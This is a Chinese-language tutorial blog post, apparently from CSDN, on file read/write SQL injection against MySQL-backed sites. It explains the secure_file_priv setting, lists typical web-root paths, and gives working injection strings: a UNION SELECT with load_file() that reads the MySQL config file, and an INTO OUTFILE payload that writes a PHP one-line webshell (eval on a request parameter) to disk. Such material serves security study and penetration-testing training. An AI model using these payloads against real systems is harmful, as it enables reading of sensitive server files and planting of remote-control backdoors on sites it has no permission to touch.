SQL注入篇——文件读写注入

文件读写注入的原理
就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息
文件读写注入的条件
1、读写文件需要secure_file_priv权限

在这里插入图片描述

  1. secure_file_priv=
    代表对文件读写没有限制
  2. secure_file_priv=NULL
    代表不能进行文件读写
  3. secure_file_priv=d:/phpstudy/mysql/data
    代表只能对该路径下文件进行读写
2、知道网站绝对路径

Windows常见:

Phpstudy    phpstudy/www  
            phpstudy/PHPTutorial/www 
Xampp       xampp/htdocs                   
Wamp        wamp/www 
Appser      appser/www 

Linux常见:

/var/mysql/data      /var/www/html
读取文件

使用函数:load_file()

注入语句:

id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\MySQL\\my.ini'),2 -- -

效果如图:
在这里插入图片描述

写入文件

使用函数:Into Outfile(能写入多行,按格式输出)和into Dumpfile(只能写入一行且没有输出格式)
注入语句:

1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' -- -

效果如图:
在这里插入图片描述
查看D:盘下是否出现1.php文件
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值